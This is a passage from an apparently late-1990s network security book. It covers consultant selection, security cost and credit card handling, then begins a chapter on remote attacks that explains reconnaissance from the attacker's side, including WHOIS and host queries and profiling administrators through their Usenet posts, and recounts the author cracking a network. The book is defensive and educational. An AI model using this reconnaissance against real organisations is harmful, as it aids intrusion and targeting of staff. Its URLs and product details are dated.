trust. \nIn the old days, when security through obscurity was practiced religiously, it required that \ncertain users know information about the system; for example, where passwords were \nlocated and what special characters had to be typed at the prompt. It was common, \nactually, for a machine, upon connection, to issue a rather cryptic prompt. (Perhaps this \ncan be likened to the prompt one might have received as a Delphi user just a few years \nago.) This prompt was expecting a series of commands, including the carrier service, the \nterminal emulation, and so on. Until these variables were entered correctly (with some \n" }, { "page_number": 452, "text": " \n \nvalid response, of which there were many), nothing would happen. For example, if the \nwrong string was entered, a simple ? would appear. A hacker coming across such a \nsystem would naturally be intrigued, but he could spend many hours (if not weeks) typing \nin commands that would fail. (Although the command HELP seems to be a pretty \nuniversal way to get information on almost any system.) \nThings changed when more experienced users began distributing information about \nsystems. As more and more information leaked out, more sophisticated methods of \nbreaching security were developed. For example, it was shortly after the first release of \ninternal procedures in CBI (the Equifax credit-reporting system) that commercial-grade \nsoftware packages were developed to facilitate a breaking and entering into that famous \ncomputerized consumer credit bureau. These efforts finally culminated with the \nintroduction of a tool called CBIHACK that automated most of the effort behind cracking \nEquifax. \nToday, it is common for users to know several operating systems in at least a fleeting \nway. More importantly, however, information about systems security has been so widely \ndisseminated that at this stage, even those starting their career in cracking know where \npassword files are located, how authentication is accomplished, and so forth. As such, \nsecurity through obscurity is now no longer available as a valid stance, nor should it be, \nespecially for one insidious element of it--the fact that for it to work at all, humans must \nbe trusted with information. For example, even when this philosophy had some value, \none or more individuals with an instant need-to-know might later become liabilities. \nDisgruntled employees are historically well known to be in this category. As insiders, \nthey would typically know things about a system (procedures, logins, passwords, and so \nforth). That knowledge made the security inherently flawed from the start. \nIt is for these reasons that many authentication procedures are now automated. In \nautomated authentication procedures, the human being plays no part. Unfortunately, \nhowever, as you will learn in Chapter 28, \"Spoofing Attacks,\" even these automated \nprocedures are now suspect. \nIn any event, view with suspicion any proposal that a security hole (small though it may \nbe) should be left alone. \nChoosing a Consultant \nThere are many considerations in choosing a security consultant. First, it is not necessary \nthat you contract one of the Big Ten firms (for example, Coopers and Lybrand) to secure \nyour network. If you are a small business, this is likely cost prohibitive. Also, it is \noverkill. These firms typically take big contracts for networks that harbor hundreds (or in \nWANs, thousands) of machines. \nIf you are a small firm and cannot afford to invest a lot of money in security, you may \nhave to choose more carefully. However, your consultant should meet at least all the \nfollowing requirements: \n• \nHe should be local. \n" }, { "page_number": 453, "text": " \n \n• \nHe should have at least four years experience as a system administrator (or apprentice \nadministrator) on your platform. (If some of that experience was in a university, that is just fine.) \n• \nHe should have a solid reputation. \n• \nGenerally, he should not have a criminal record. \n• \nHe should have verifiable references. \nWhy Local? \nYour consultant should be local because you will need to have him available on a regular \nbasis. Also, as I've noted, remote administration of a network is just not a wise thing. \nExperience \nYou notice that I say that university experience will suffice, so long as it does not \ncomprise the totality of the consultant's security education. Why? Because the academic \ncommunity is probably the closest to the cutting edge of security. If you thumb through \nthis book and examine the references, you will notice that the majority of serious security \npapers were authored by those in the academic community. In fact, even many of the so-\ncalled commercial white papers cited within this book were also authored by students--\nstudents who graduated and started security firms. \nReputation \nI suggest that your consultant should have a solid reputation, but I want to qualify that. \nThere are two points to be made here, one of which I made at the beginning of this book. \nJust because former clients of a consultant have not experienced security breaches does \nnot necessarily mean that the consultant's reputation is solid. As I have said, many so-\ncalled security spe- cialists conduct their \"evaluation\" knowing that they have left the \nsystem vulnerable. In this scenario, the individual knows a little something about \nsecurity, but just enough to leave his clients in a vulnerable situation with a false sense of \nsecurity. Technically, a totally unprotected network could survive unharmed for months \non the Internet so long as crackers don't stumble across it. \nIt would be good if you could verify that your potential consultant had been involved in \nmonitoring and perhaps plugging an actual breach. Good examples are situations where \nhe may have been involved in an investigation of a criminal trespass or other network \nviolation. \nEqually, past experience working for an ISP is always a plus. \nCriminal Record \nBackground checks are intrusive. I realize that. However, consider what you are \nundertaking. Most smaller businesses today would be paralyzed if their data were \nsuddenly corrupted or unusable. If yours is such a business, and your potential consultant \nis not an established firm, I would seriously consider a background check. However, the \n" }, { "page_number": 454, "text": " \n \nexistence of a criminal record (especially if that record is for computer-related crimes) \ndoes not necessarily preclude the individual as a candidate. Much depends upon the time \nthat has passed since the conviction, the circumstances of the case, and so forth. For \nexample, I would hire Randall Schwartz without thinking twice. His technical skills are \nwell known. \nYour Network \nThere are several ways you can view security, but I prefer the simple approach and that \napproach is this: Your network is your home. Consider that for a moment. Try to \nvisualize your network as an extension of yourself. I realize that this sounds a bit esoteric, \nbut it really isn't. You can more easily grasp what I am driving at by considering this: \nWhat type of data is on your network? I will wager that I can tell you what's there. Yes; I \nwill bet that only the most unimportant things are on your network--things like your \nfinancial information, your identity, your thoughts, your feelings, your personal \nreflections, your business...your life. \nWould you let the world walk through the front door of your home? Would you let \ncomplete strangers rifle through your drawers, looking for personal documents or \nfinancial statements? Of course not. Then why would you let someone do it over a \nnetwork? The answer is: You wouldn't. The problem is, computers seem relatively \nbenign, so benign that we may forget how powerful their technology really is. \nSoftware vendors want us to rush to the Internet. The more we use the network, the more \nsoftware they can sell. In this marketing frenzy, they attempt to minimize some fairly \nserious problems out there. The truth is, the Internet is not secure and will continue to \nexist in this state of insecurity for some time to come. This is especially so because many \nof the networking products used in the future will be based on the Microsoft platform. \nAdmittedly, Microsoft makes some of the finest software in the world. Security, however, \nhas not been its particular area of expertise. Its Internet operating system is going to be \nNT--that's a fact. That is also where the majority of Microsoft's security efforts are being \nconcentrated, and it has made some significant advances. However, in the more than 20 \nyears that UNIX has been in existence, it has never been completely secure. This is an \nimportant point: UNIX is a system that was designed--almost from its beginning--as an \noperating system for use on the Internet. It was what the Defense Department chose as \nthe platform to develop ARPAnet. The people who designed it are among the most \ntalented (and technically minded) software engineers on the planet. And even after all \nthis, UNIX is not secure. We should expect, then, that Windows NT will take some time \nto get the bugs out. \nSo, in closing on this subject, I relate this: Your network is your home. It is worthy of \nprotection, and that protection costs money. Which brings us to the next issue... \nCost \nHow much should security cost? It depends on what type of network you have. If your \nnetwork is large and heterogeneous, those conditions are going to increase the cost. It is \n" }, { "page_number": 455, "text": " \n \nimportant that you understand why, because when you go to the table to negotiate a \nsecurity package, you need to know what you are talking about. \nThe Homogenous Network \nIf you currently have a homogenous network, you should see a break in cost. Here is \nwhy: Each operating system implements TCP/IP just slightly differently than the rest, at \nleast at the application level. Each operating system also has one or more additional or \nproprietary protocols that aren't available on other systems (or that can be available, but \nonly with special software). For example, Windows 95 uses the SMB protocol, which is \nnot widely available in default installations of every operating system. Certainly, there \nare clients available; one of them is SAMBA, which runs on Linux and perhaps on other \noperating systems. Because each operating system is different but all machines running \nthe same operating system are basically the same, a security consult of a homogenous \nnetwork is less intensive than one that harbors many different platforms. It should \ntherefore cost less. \nWhile this is true, it does not mean that you can get a homogenous network secured for \nnext to nothing. In most instances, it is not possible for security attributes to simply be \ncloned or replicated on all workstations within the network. Various security issues may \ndevelop. Some of those involve topology, as I have explained in other chapters and will \nagain discuss here. \nWe know that a network segment is a closed area; almost like a network within itself. We \nalso know that spoofing beyond that network segment is almost impossible. (Almost.) \nThe more network segments your network is divided up into, the more secure your \nnetwork will be. (Ideally, each machine would be hardwired to a router. This would \nentirely eliminate the possibility of IP spoofing, but it is obviously cost prohibitive.) \nWhere you make those divisions will depend upon a close assessment of risk, which will \nbe determined between your technical staff and the consultant. For each segment, you \nwill incur further cost, not only for the consultant's services but for the hardware (and \npossibly for software). \nThe Heterogeneous Network \nIf you have a network comprised of many different platforms, the problem of securing it \nbecomes more complex. Here's an example, again using SAMBA as a focal point. In \ncertain situations, passwords are revealed when using SAMBA in traffic between UNIX \nand Windows 95 boxes. The more protocols you have running and the more third-party \nsoftware from different vendors (on different platforms) you have, the more complicated \nyour security assessment will be. \nCertainly, even from a practical standpoint, there are immediate problems. First, due \nlargely to the division between the PC and workstation worlds, the security consultants \nyou contract may be unfamiliar with one of more of the platforms within your network, \nand they may need to call outside help for them. Also, and this is no small consideration, \nyour consultants may ultimately be forced to provide at least a small portion of \nproprietary code: their own. If this subject crops up, it should be discussed thoroughly. \n" }, { "page_number": 456, "text": " \n \nThere is a good chance that you can save at least some cost by having these consultants \ntie together existing security packages, using their own code as the glue. This is not \nnearly as precarious as it sounds. It may involve nothing more than redirecting the output \nof log files or other, ongoing processes to plain text (or some other form suitable for \nscanning by a program on another platform). \nThe problem with hiring toolsmiths of this sort is that you may find your security \ndependent upon them. If your local system administrator is not familiar with the code \nthey used, you may have to rely on the consultants to come for second and third visits. To \nguard against this, you should ensure good communications between your personnel and \nthe security team. This is a bit harder than it seems. \nFirst, you have to recognize at least this: Your system administrator is God on the \nnetwork. That network is his domain, and he probably takes exceptional pride in \nmaintaining it. (I have seen some extraordinary things done by system administrators--\ntruly commercial-grade applications running, custom interfaces, and so forth.) When an \noutside team comes to examine your system administrator's backyard, no matter what \nthey say, the experience feels a little intrusive. Diplomacy is really an important factor. \nRemember: The consultants will leave, but you have to live with your system \nadministrator on a daily basis. \nThe General Process \nBefore you contact any firm and have them come to your offices (or home, I suppose), \nyou need to gather some information on a few things, including the following: \n• \nHardware. This should identify the make, manufacturer, model, and series of each workstation, \nhub, router, network adapter, and so forth. Ideally, you should also have a list of how much \nmemory is in each machine, the capacity of the disk drives, and the specs of your Ethernet. (For \nexample, 10Base-T or whatever.) \n• \nSoftware. All types of network software that you intend to run, and their version numbers. \n• \nProtocols. The protocols you are now running (or plan to run in the future). Try to prioritize these. \nFor example, if there is a single machine that simply must run NFS, highlight that. Also, report the \ntype of connectivity that you currently have. \n• \nScope. The maximum number of workstations you plan to run, where they are located, where the \nnetwork segments exist, where you plan to expand, and any curiosities that might be relevant. (For \nexample, that you have older, legacy Novell NetWare servers running in one office. If these are \nsufficiently old, they may traffic unencrypted passwords. Your consultant will need to know that. \nDon't let something like that crop up later.) \nNext, you will need to gather a little model of your company's trust system. That is, you \nwill need to have your system administrator devise some easy listing method to peruse \nprivileges. This will identify what each user or workstation requires in the way of \nprivileges. It might be worth outputting this not only in text format, but also in some \ngraphical representation. On certain platforms, this type of software is available, but it is \n" }, { "page_number": 457, "text": " \n \nquite expensive. It is probably better (for small firms trying to save money) if this is done \nusing some technical drawing package (such as Visio). \nThis information should be bound together. (There are copying services that will bind \nsuch a folder, such as Kinko's Copies, or perhaps you have in-house facilities that can do \nthis.) Each section should be separated by a tab that identifies that section. Contained \nwithin this folder should also be the following items: \n• \nA statement from the system administrator about the security of the system. This should include \nany special considerations, including whether special software has been written, what type of \nsecurity utilities are now being used, which ones could not be used, and why. \n• \nA statement of what type of security policies have been enforced within your network, a history of \nany security breaches that you may have had, and so forth. \nThis compilation of information should be handed over to the security consultants only \nafter you have verified their reputation, because once it is in their hands, they will know \nmore about your network than your system administrator did just one week before. \nHowever, it is important to collect the information, and here is why: If you don't do it, the \nsecurity consulting firm will. That will cost a lot of money. Moreover, it will entail them \nhaving to disrupt daily activities even further than they already have to while \nimplementing solutions. \nThe next step may or may not be within your budget, but if it is, I would strongly \nrecommend it. Locate two separate security firms known to have good reputations. (Even \nif they are in a different state; it doesn't matter.) Ask those firms what it would cost to \nexamine the information and make a recommendation, a kind of mock bid. Included \nwithin their summaries should be a report of how such a job would be implemented if \nthey were doing it. This will not only serve as an index for what the probable cost and \neffort would be, but also may alert you or your system administrator to special issues, \nissues particular to your precise configuration. That having been done, you can begin \nyour search for a good, local source. \nDegrees of Security \nThere are different ways that you can implement security. There is no law saying that you \nhave to connect your entire network to the Internet. (Although I see a fair number of \nbusinesses doing it.) One simple way to reduce your cost is to create only a very limited \nsegment that has connectivity. If your primary concern is receiving customer feedback \n(and providing some promotional information), there really is no need to connect at all. \nCertainly, an ISP can host a page (or even co-locate a box) for you. \nHowever, if you are determined to provide dedicated access, with a server under your \nlocal control, there are some things you can do to greatly increase security. First, if the \nonly box you are placing out on the freeway is a Web server (and you are concerned \nabout that server being cracked), you can use read-only media. This procedure is \nadmittedly more difficult to implement than a live file system (one that is read/write), but \nthe gains you realize in security are immense. Under such a scenario, even if a cracker \n" }, { "page_number": 458, "text": " \n \ngains root access, there is very little that he can do. The downside to this, of course, is \nthat dynamic pages cannot be built on-the-fly, but if you are providing an auto-quote \ngenerator or some similar facility (perhaps even interfacing with a database), it can still \nbe done. \nReally, the key is to enclose all CGI into a restricted area. The CGI programs read the \ndata on the read-only media and generate a resulting page. This is a very secure method \nof providing technical support, product lists, and prices to clients in the void. Essentially, \nso long as you back up your CGI, you could have that identical machine up in one hour \nor less, even if crackers did manage to crash it. This type of arrangement is good for \nthose who are only providing information. It is poor for (and inapplicable to) those \nseeking to accept information. If you are accepting information, this might involve a \ncombination of secure HTML packages or protocols, where the information received is \nwritten to removable, write-one-time media. \nThe sacrificial host is really the safest choice. This is a host that is expressly out in the \nopen and that you expect to be cracked. Certainly, this is far preferable to having any \nportion of your internal network connected to the Internet. However, if you also want \nyour local employees or users to be able to access the Net, this is entirely impractical. It \ncan, however, be implemented where you do not expect much access from the inside out, \nparticularly in commerce situations. \nA commerce situation is one where you are accepting credit card numbers over a browser \ninterface. Be very careful about how you implement such schemes. Here is why: There \nare various paths you can take and some of them represent a greater risk than others. \nTypically, you want to avoid (at any reasonable cost) storing your customers' credit card \nnumbers on any server connected to the network. (You have already seen the controversy \nthat developed after it was learned that Kevin Mitnik had acquired credit card numbers--\nreportedly 20,000-- from the drives of Netcom.) \nGenerally, where you are accepting credit card numbers over the Internet, you will also \nbe clearing them over the network. This typically requires the assistance of an outside \nservice. There are various ways that this is implemented, although two techniques \ndominate that market. \nLocal Saves \nIn a local save scenario, the information is piped through some secure, encrypted HTTP \nsession (SHTTP, for example). Usually, this is done through a form written specifically \nfor that purpose. The form outputs the information to a local disk somewhere, from which \nit can later be retrieved for verification purposes. Along that journey from the input form \nto the disk, the numbers may be sent through several processes. One is where the \nnumbers are examined against a common algorithm that determines (first and foremost) \nwhether the submitted credit card number is even a real one. By real, I mean that it is a \npotentially real one. This is one somewhat flawed version of verification. It basically \nrelies on the same algorithms that are used to generate card numbers to begin with. If the \nsubmitted number fails to result in a number that could have been generated by the \nalgorithms, the card number is a dreamt-up number, something that someone randomly \n" }, { "page_number": 459, "text": " \n \nguessed. There are two flaws with this type of verification, one in the basic concept and \nthe other in reference to security. \nThe first problem is this: The algorithms used are now widely disseminated. That is, there \nare credit card number generators available across the Internet that will resolve numbers \nto either a state of authenticity or no authenticity. Kids used them for years to circumvent \nthe security of Internet service providers. \n \nTIP: One very good example is utilities that exist for unlawfully accessing AOL. These \nutilities have, embedded within their design, automatic generators that produce a laundry \nlist of card numbers that will be interpreted as valid. When these programs first emerged, \nthe credit card number generators were primitive and available as support utilities. As \nusing generators of this variety became more common, however, these utilities were \nincorporated into the code of the same application performing the dial-up and sign-on. \nThe utilities would pop up a window list from which the cracker could choose a number. \nThis number would be sent (usually by the SendKeys function in VB) to the \nregistration form of the provider. \n \nSo, at the start, individuals could come forward with at least mathematically sound \nnumbers for submission. Thus, simple algorithm credit card validation subjects the \naccepting party to a significant amount of risk. For example, if this verification is used in \nthe short run but the cards are later subjected to real verification, the interim period \ncomprises the longest time during which the accepting party will lose goods or services \nas a result of a fraudulent charge. If this period is extended (and the temporary approval \nof such a credit card number grants the issuer access to ongoing services), then \ntechnically, the accepting party is losing money for every day that the credit card is not \nactually validated. \nSecondly, and perhaps more importantly, storing the numbers on a local drive could \nprove a fatal option. You are then relying upon the security of your server to protect the \ndata of your clientele. This is not good. If the information is ultimately captured, \nintercepted, or otherwise obtained, potentially thousands (or even hundreds of thousands) \nof dollars might be at stake. If there is a subsequent investigation (which there usually is), \nit will ultimately come out that the seed source for the numbers was your hard disk \ndrives. In other words, after the Secret Service (or other investigating party) has \ndetermined that all victims shared only one common denominator (using your service), \nyou will have a problem. \nThis is especially true if your system administrator fails to detect the breach and the \nbreach is then an ongoing, chronic problem. There is a certain level at which this could \nraise legal liability for your company. This has not really been tested in the courts, but I \nfeel certain that within the next few years, special legislation will be introduced that will \naddress the problem. The unfortunate part of this is as follows: Such a case would rely \nheavily on expert testimony. Because this is a gray area (the idea of what \"negligent\" \nsystem administration is, if such a thing can exist), lawyers will be able to harangue ISPs \nand other Internet services into settling these cases, even if only in an effort to avoid \nsizable legal bills. By this, I mean that they could \"shake down\" the target by saying \"I \nwill cost you $50,000.00 in legal bills. Is it worth the trouble to defend?\" If the target is a \n" }, { "page_number": 460, "text": " \n \nlarge firm, its counsel will laugh this off and proceed to bury the plaintiff's counsel in \npaperwork and technical jargon. However, if the target is a small firm (perhaps hiring a \nlocal defense firm that does not specialize in Internet law), a legal challenge could be \nenormously expensive and a drain on resources. If you have to choose, try to saddle some \nthird party with the majority of the liability. In other words, don't store those numbers on \nyour drives if you can help it. \nRemote Saves via CGI \nThe second scenario may or may not be preferable. This is where you drop a secure \nHTML form into the structure of your Web site. (This form is provided by the credit card \nclearing service.) With this, you will likely also receive customized scripts that redirect \nthe data submitted in that form to a remote server. That remote server fulfills one purpose \nonly: clearing the numbers. \n \nNOTE: There are various methods through which the mechanics of this process are \nachieved. One is where the credit card clearing company has proprietary software that \nattaches to a particular port. On both the client and the server end, this port traffics the \ninformation (which is encrypted before it leaves the client and decrypted after the arrival \nat the server). More than likely, the remote server refuses connections on almost all other \nports, or the information is filtered through a pinhole in a firewall. \n \nThe advantages and disadvantages are diverse in this scenario. First, there is the obvious \nproblem that the accepting party is resigned to traveling blind; that is, they will never \nhave the credit card information within their possession. Because of this, disputed claims \nare a serious headache. \nHere's an example: A kid gets his parent's credit card number and charges up a storm. \nThis information is validated by the remote server, with the accepting party storing no \ninformation. Later, the parent disputes the transaction, claiming that he never authorized \nsuch a charge. This is okay, and may happen periodically. However, obtaining records \nand then sorting out that dispute is both a logistical and legal problem. It is not quite as \nsimple as disputing unauthorized charges on one's telephone bill. Because the party that \ncleared (and ultimately collected on) the charge is a third party (one that has no part in \nthe exchange of goods or services), confusion can easily develop. \nImagine now if you were such a victim. You contact the party that is the apparent \nrecipient of the charge, only to find that the company has \"nothing to do with it.\" When \nconsumers are confronted with this type of situation, they become less likely to do \ncommerce over the Net. And while this is essentially no different than being confronted \nwith unauthorized 900- number charges on your telephone bill, the average consumer \nwill view the Internet with increasing suspicion. This is bad for Internet commerce \ngenerally. Despite that fact, however, this method is generally regarded as the most \nsecure. \nThe Overall Picture of Net Commerce \n" }, { "page_number": 461, "text": " \n \nHere is the challenge for Internet commerce consultants, another variable to figure in \nbefore creating a viable package. For example, one might be designing a \"total solution\" \npackage involving co-location of a box, Web development, security, and credit card \nclearing. Making such a package can be a difficult task. Your choices must be carefully \nconsidered. \nNaturally, there is also the issue of cost. Most clearing companies take a piece of the \naction, which means that they charge a percentage for each charge cleared. Sometimes \nthere are variations on this theme, but there are basically two scenarios. In the first, they \ncharge a sizable sum for setup and request no further money from the client, instead \nreaping their percentage from the credit card companies at the other end. Another is \nwhere the initial cost is lower, but the client is charged a percentage on each transaction. \nStill another, although less common, is where the middleman company may take a \nsmaller percentage from both sides, thereby distributing the load and making their pricing \nseem more competitive to both client and credit card company. \nThere are many services you can contract, including both consultant firms and actual \nsoftware and hardware solution vendors. Here are a few: \n• \nSecureCC. Secure transactions for the Web. \nhttp://www.securecc.com/ \n• \nAll Merchants Merchant Service. Credit card, debit card merchants. \nhttp://www.cyburban.com/~mmdelzio/first.htm \n• \nLuckman's. (Specifically, the Web Commander product has support for secure Internet \ncommerce.) \nhttp://www.luckman.com/wc/webcom.html \n• \nRedhead Corporation. \nhttp://www.redhead.com/html/makesale.html \n• \nNetscape Communications Corporation. \nhttp://www.netscape.com/ \n• \nProcess Software Corporation. \nhttp://www.process.com/ \n• \nAlpha Base Systems, Inc. EZ-Commerce and EZ-ID system. \nhttp://alphabase.com/ezid/nf/com_intro.html \n• \nMTI Advanced Marketing. \nhttp://www.mticentral.com/Commerce/ \n• \nData Fellows. F-Secure line of products. \nhttp://www.europe.datafellows.com/f-secure/fsecom.htm \n" }, { "page_number": 462, "text": " \n \nIn closing on the issue, I would suggest that you read at least a few of the following white \npapers, articles, or technical reports. Some are more difficult to find than others, and I \nwould suggest that you take those papers for which I have provided no online address and \nrun them through a university library bibliography search. Many of them are available \nthrough services like WorldCat and Uncover. \nCredit Card Transactions: Real World and Online. Keith Lamond. 1996. \n• \nhttp://rembrandt.erols.com/mon/ElectronicProperty/klamond/CCard.ht\nm \nDigital Money Online. A Review of Some Existing Technologies. Dr. Andreas \nSchöter and Rachel Willmer. Intertrader Ltd. February 1997. \nMillions of Consumers to Use Internet Banking. Booz, Allen & Hamilton Study \nIndicates. \n• \nhttp://www.bah.com/press/net_banking.html \nA Bibliography of Electronic Payment Information. \n• \nhttp://robotics.stanford.edu/users/ketchpel/ecash.html \nElectronic Cash, Tokens and Payments in the National Information Infrastructure. \n• \nhttp://www.cnri.reston.va.us:3000/XIWT/documents/dig_cash_doc/ToC.\nhtml \nElectronic Commerce in the NII. \n• \nhttp://www.cnri.reston.va.us:3000/XIWT/documents/EComm_doc/ECommTO\nC2.html \nA Framework for Global Electronic Commerce. Clinton Administration. For an \nexecutive summary, visit \n• \nhttp://www.iitf.nist.gov/eleccomm/exec_sum.htm \nFor the complete report, visit \n• \nhttp://www.iitf.nist.gov/eleccomm/glo_comm.htm \nCard Europe UK--Background Paper. Smartcard Technology Leading To Multi \nService Capability. \n• \nhttp://www.gold.net/users/ct96/rep1.htm \nElectronic Payment Schemes. Dr. Phillip M. Hallam-Baker. World Wide Web \nConsortium. \n• \nhttp://www.w3.org/pub/WWW/Payments/roadmap.html \n" }, { "page_number": 463, "text": " \n \nGeneric Extensions of WWW Browsers. Ralf Hauser and Michael Steiner. First Usenix \nWorkshop on Electronic Commerce. July 1995. \nAnonymous Delivery of Goods in Electronic Commerce. Ralf Hauser and Gene \nTsudik. IBMTDB, 39(3), pp. 363-366. March 1996. \nOn Shopping Incognito. R. Hauser and G. Tsudik. Second Usenix Workshop on \nElectronic Commerce. November 1996. \n• \nhttp://www.isi.edu/~gts/paps/hats96.ps.gz \nThe Law of Electronic Commerce. EDI, Fax and Email: Technology, Proof and \nLiability. B. Wright. Little, Brown and Company. 1991. \nFast, Automatic Checking of Security Protocols. D. Kindred and J. M. Wing. Second \nUsenix Workshop on Electronic Commerce, pp. 41-52. November 1996. \n• \nhttp://www-\ncgi.cs.cmu.edu/afs/cs.cmu.edu/project/venari/www/usenix96-\nsubmit.html \nElectronic Commerce on the Internet. Robert Neches, Anna-Lena Neches, Paul Postel, \nJay M. Tenenbaum, and Robert Frank. 1994. \nNetBill Security and Transaction Protocol. Benjamin Cox, J. D. Tygar, and Marvin \nSirbu. First Usenix Workshop on Electronic Commerce. July 1995. \nCyberCash Credit Card Protocol. Donald E. Eastlake, Brian Boesch, Steve Crocker, \nand Magdalena Yesil. Version 0.8. July 1995. (Internet Draft.) \nCommerce on the Internet--Credit Card Payment Applications over the Internet. \nTaher Elgamal. July 1995. \nBusiness, Electronic Commerce and Security. B. Israelsohn. 1996. \n• \nhttp://www.csc.liv.ac.uk/~u5bai/securit2.html \nSummary \nBe prepared. If you plan to establish a dedicated connection to the Internet and security is \nan important issue for you, it is wise to learn the terrain. I am not suggesting that security \nspecialists are unscrupulous; I am simply warning you of potential pitfalls in the security \nprocess. By gathering knowledge about your network, your trust models, and Internet \nsecurity in general, you will fare far better. It's a jungle out there; you better believe it. \n" }, { "page_number": 464, "text": " \n \n25 \nThe Remote Attack \nIn this chapter, I will examine the remote attack. I will define what such an attack is and \ndemonstrate some key techniques employed. Moreover, this chapter will serve as a \ngeneralized primer for new system administrators, who may have never encountered the \nremote attack in real life. \nThe purpose of this chapter is to begin integrating the information that has already been \noffered to this point. In other words, it is time to put the pieces together. \nWhat Is a Remote Attack? \nA remote attack is any attack that is initiated against a machine that the attacker does not \ncurrently have control over; that is, it is an attack against any machine other than the \nattacker's own (whether that machine is on the attacker's subnet or 10,000 miles away). \nThe best way to define a remote machine is this: \nA remote machine is any machine--other than the one you are now on--that can be reached \nthrough some protocol over the Internet or any other network or medium. \nThe First Steps \nThe first steps, oddly enough, do not involve much contact with the target. (That is, they \nwon't if the cracker is smart.) The cracker's first problem (after identifying the type of \nnetwork, the target machines, and so on) is to determine with whom he is dealing. Much \nof this information can be acquired without disturbing the target. (We will assume for \nnow that the target does not run a firewall. Most networks do not. Not yet, anyway.) \nSome of this information is gathered through the following techniques: \n• \nRunning a host query. Here, the cracker gathers as much information as is currently held on the \ntarget in domain servers. Such a query may produce volumes of information (remember the query \non Boston University in Chapter 9, \"Scanners\"?) or may reveal very little. Much depends on the \nsize and the construct of the network. \n• \nFor example, under optimal circumstances of examining a large and well-established target, this \nwill map out the machines and IPs within the domain in a very comprehensive fashion. The names \nof these machines may give the cracker a clue as to what names are being used in NIS (if \napplicable). Equally, the target may turn out to be a small outfit, with only two machines; in that \ncase, the information will naturally be sparse. It will identify the name server and the IPs of the \ntwo boxes (little more than one could get from a WHOIS query). One interesting note is that the \ntype of operating system can often be discerned from such a query. \n• \nA WHOIS query. This will identify the technical contacts. Such information may seem innocuous. \nIt isn't. The technical contact is generally the person at least partially responsible for the day-to-\nday administration of the target. That person's e-mail address will have some value. (Also, \nbetween this and the host query, you can determine whether the target is a real box, a leaf node, \na virtual domain hosted by another service, and so on.) \n" }, { "page_number": 465, "text": " \n \n• \nRunning some Usenet and Web searches. There are a number of searches the cracker might want \nto conduct before actually coming into contact with the target. One is to run the technical contact's \nname through a search engine (using a forced, case-sensitive, this-string-only conditional search). \nThe cracker is looking to see if the administrators and technical contacts sport much traffic in \nUsenet. Similarly, this address (or addresses) should be run through searchable archives of all \napplicable security mailing lists. \nThe techniques mentioned in this list may seem superfluous until you understand their \nvalue. Certainly, Farmer and Venema would agree on this point: \nWhat should you do? First, try to gather information about your (target) host. There is a wealth of \nnetwork services to look at: finger, showmount, and rpcinfo are good starting points. But don't \nstop there--you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other \nservices as you can find. \n \nCross Reference: The preceding paragraph is excerpted from Improving the Security of \nYour Site by Breaking Into It by Dan Farmer and Wietse Venema. It can be found online \nat http://www.craftwork.com/papers/security.html. \n \nCollecting information about the system administrator is paramount. A system \nadministrator is usually responsible for maintaining the security of a site. There are \ninstances where the system administrator may run into problems, and many of them \ncannot resist the urge to post to Usenet or mailing lists for answers to those problems. By \ntaking the time to run the administrator's address (and any variation of it, as I will explain \nin the next section), you may be able to gain greater insight into his network, his security, \nand his personality. Administrators who make such posts typically specify their \narchitecture, a bit about their network topology, and their stated problem. \nEven evidence of a match for that address (or lack thereof) can be enlightening. For \nexample, if a system administrator is in a security mailing list or forum each day, \ndisputing or discussing various security techniques and problems with fellow \nadministrators, this is evidence of knowledge. In other words, this type of person knows \nsecurity well and is therefore likely well prepared for an attack. Analyzing such a \nperson's posts closely will tell you a bit about his stance on security and how he \nimplements it. Conversely, if the majority of his questions are rudimentary (and he often \nhas a difficult time grasping one or more security concepts), it might be evidence of \ninexperience. \nFrom a completely different angle, if his address does not appear at all on such lists or in \nsuch forums, there are only a few possibilities why. One is that he is lurking through such \ngroups. The other is that he is so bad-ass that he has no need to discuss security at all. \n(Basically, if he is on such lists at all, he DOES receive advisories, and that is, of course, \na bad sign for the cracker, no matter what way you look at it. The cracker has to rely in \nlarge part on the administrator's lack of knowledge. Most semi-secure platforms can be \nrelatively secure even with a minimal effort by a well-trained system administrator.) \nIn short, these searches make a quick (and painless) attempt to cull some important \ninformation about the folks at the other end of the wire. \n" }, { "page_number": 466, "text": " \n \nYou will note that I referred to \"any variation\" of a system administrator's address. \nVariations in this context mean any possible alternate addresses. There are two kinds of \nalternate addresses. The first kind is the individual's personal address. That is, many \nsystem administrators may also have addresses at or on networks other than their own. \n(Some administrators are actually foolish enough to include these addresses in the fields \nprovided for address on an InterNIC record.) So, while they may not use their work \naddress to discuss (or learn about) security, it is quite possible that they may be using \ntheir home address. \nTo demonstrate, I once cracked a network located in California. The administrator of the \nsite had an account on AOL. The account on AOL was used in Usenet to discuss various \nsecurity issues. By following this man's postings through Usenet, I was able to determine \nquite a bit. In fact (and this is truly extraordinary), his password, I learned, was the name \nof his daughter followed by the number 1. \nThe other example of a variation of an address is this: either the identical address or an \naddress assigned to that person's same name on any machine within his network. Now, \nlet's make this a little more clear. First, on a network that is skillfully controlled, no name \nis associated with root. That is because root should be used as little as possible and \nviewed as a system ID, not to be invoked unless absolutely necessary. (In other words, \nbecause su and perhaps other commands or devices exist that allow an administrator to \ndo his work, root need not be directly invoked, except in a limited number of cases.) \n \nNOTE: Attacking a network run on Windows NT is a different matter. In those cases, \nyou are looking to follow root (or rather, Administrator) on each box. The design of NT \nmakes this a necessity, and Administrator on NT is vastly different from root on a UNIX \nbox. \n \nBecause root is probably not invoked directly, the system administrator's ID could be \nanything. Let's presume here that you know that ID. Let's suppose it is walrus. Let us \nfurther suppose that on the host query that you conducted, there are about 150 machines. \nEach of those machines has a distinct name. For example, there might be \nmail.victim.net, news.victim.net, shell.victim.net, cgi.victim.net, and so \nforth. (Although, in practice, they will more likely have \"theme\" names that obscure what \nthe machine actually does, like sabertooth.victim.net, bengal.victim.net, and \nlynx.victim.net.) \nThe cracker should try the administrator's address on each machine. Thus, he will be \ntrying walrus@shell.victim.net, walrus@sabertooth.victim.net, and so forth. \n(This is what I refer to as a variation on a target administrator's address.) In other words, \ntry this on each box on the network, as well as run all the general diagnostic stuff on each \nof these machines. Perhaps walrus has a particular machine that he favors, and it is from \nthis machine that he does his posting. \nHere's an interesting note: If the target is a provider (or other system that one can first \ngain legitimate access to), you can also gain an enormous amount of information about \nthe system administrator simply by watching where he is coming in from. This, to some \nextent, can be done from the outside as well, with a combination of finger and rusers. In \n" }, { "page_number": 467, "text": " \n \nother words, you are looking to identify foreign networks (that is, networks other than the \ntarget) on which the system administrator has accounts. Obviously, if 